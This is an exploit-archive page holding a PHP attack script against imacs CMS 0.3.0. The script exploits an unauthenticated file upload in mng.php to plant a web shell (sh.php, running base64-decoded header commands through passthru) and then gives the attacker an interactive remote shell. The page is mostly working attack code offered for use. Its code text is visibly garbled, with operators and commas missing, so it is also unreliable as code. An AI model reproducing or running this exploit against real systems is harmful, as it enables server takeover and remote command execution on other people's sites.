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imacs CMS Unrestricted File Upload Exploit

Author: f4ry4r_red , Published: 16-09-2013

<?php

  
/*
  
 
                             #D:: ___    ____    ____
                            #````______/```\__//```\__/____\
                            #``_/```\_/``:```````````//____\
                            #`/|``````:``:``..``````/ f4ry4r_red \  
                            #|`|`````::`````::``````\````````/
                            #|`|`````:|`````||`````\`\______/
                            #|`|`````||`````||``````|\``/``|
                            #`\|`````||`````||``````|```/`|`\    
                            #``|`````||`````||``````|``/`/_\`\
                            #``|`___`||`___`||``````|`/``/````\
                            #```\_-_/``\_-_/`|`____`|/__/``````\
                            #````````````````_\_--_/````\`````/  
                            #```````````````/____```````````/
                            #``````````````/`````\`````````/
                            #``````````````\______\_______/

# f4ry4r_red W4s H3r3...!
 Exploit Title   : imacs CMS Unrestricted File Upload Exploit
 Date            : 17 June 2013
 Exploit Author  : HackFans
 Site            : hackfans.org
 Vendor Homepage : http://forums.hackfans.org/
 Software Link   : http://jaist.dl.sourceforge.net/project/jrcmsdev/imacs_V0_3_0_608.cmp.zip
 Version         : 0.3.0
 Tested on       : Window and Linux
   
   
#####################################################
VULNERABILITY: Unrestricted File Upload 
#####################################################
   
/src/assets/mng/mng.php
  
#####################################################
DESCRIPTION
#####################################################
   
Restricted access to this script isn't properly realized (Don't require authentication) ,  
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file 
extension isn't properly checked.
  
 
#####################################################
EXPLOIT
#####################################################
   
*/
  
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout"5);
  
function 
http_send($host$packet)
{
    if (!(
$sock fsockopen($host80)))
        die(
"\n[-] No response from {$host}:80\n");
   
    
fputs($sock$packet);
    return 
stream_get_contents($sock);
}
  
print 
"\n==============================================\n";
print 
"  imacs CMS Unrestricted File Upload Exploit  \n";
print 
"                                              \n";
print 
"        Discovered By hackfans.org            \n";
print 
"==============================================\n\n";
print 
"                      #D:: ___    ____    ____
print "                      
#````______/```\__//```\__/____\ \n"; 
print "                      #``_/```\_/``:```````````//____\ \n";
print 
"                      #`/|``````:``:``..``````/ f4ry4r_red \ \n";   
print 
"                      #|`|`````::`````::``````\````````/ \n";
print 
"                      #|`|`````:|`````||`````\`\______/ \n";
print 
"                      #|`|`````||`````||``````|\``/``| \n";
print 
"                      #`\|`````||`````||``````|```/`|`\ \n";    
print 
"                      #``|`````||`````||``````|``/`/_\`\ \n";
print 
"                      #``|`___`||`___`||``````|`/``/````\ \n";
print 
"                      #```\_-_/``\_-_/`|`____`|/__/``````\ \n";
print 
"                      #````````````````_\_--_/````\`````/ \n";   
print 
"                      #```````````````/____```````````/ \n";
print 
"                      #``````````````/`````\`````````/ \n";
print 
"                      #``````````````\______\_______/ \n\n";
 
   
if (
$argc 3)
{
    print 
"\nUsage......: php $argv[0] <host> <path>\n";
    print 
"\nExample....: php $argv[0] localhost /";
    print 
"\nExample....: php $argv[0] localhost /imacs/\n";
    die();
}
  
$host $argv[1];
$path $argv[2];
  
 
$payload  "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"upload\"; filename=\"sh.php\"\r\n";
$payload .= "Content-Type: application/octet-stream\r\n\r\n";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode(\$_SERVER[HTTP_CMD]));\r\n";
$payload .= "--o0oOo0o--\r\n";
 
$packet  "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
 
$response http_send($host$packet);
 
if (!
preg_match("/Set-Cookie: ([^;]*);/i"$response$sid)) die("\n[-] Session ID not found!\n");
 
$packet  "POST {$path}src/assets/mng/mng.php?dir= HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
      
http_send($host$packet);
  
$packet  "GET {$path}content/uploads/sh.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
      
while(
1)
{
    print 
"\nimacs-shell# ";
    if ((
$cmd trim(fgets(STDIN))) == "exit") break;
    
$response http_send($hostsprintf($packetbase64_encode($cmd)));
    
preg_match('/___(.*)/s'$response$m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
 
################################################################################################################
 
Greetz   BlackErroRX3NON ,Saman.gunner,HaCkeD,m3h2lad,Crack3RALI_TNP Crall of member In hackfans
################################################################################################################
?>

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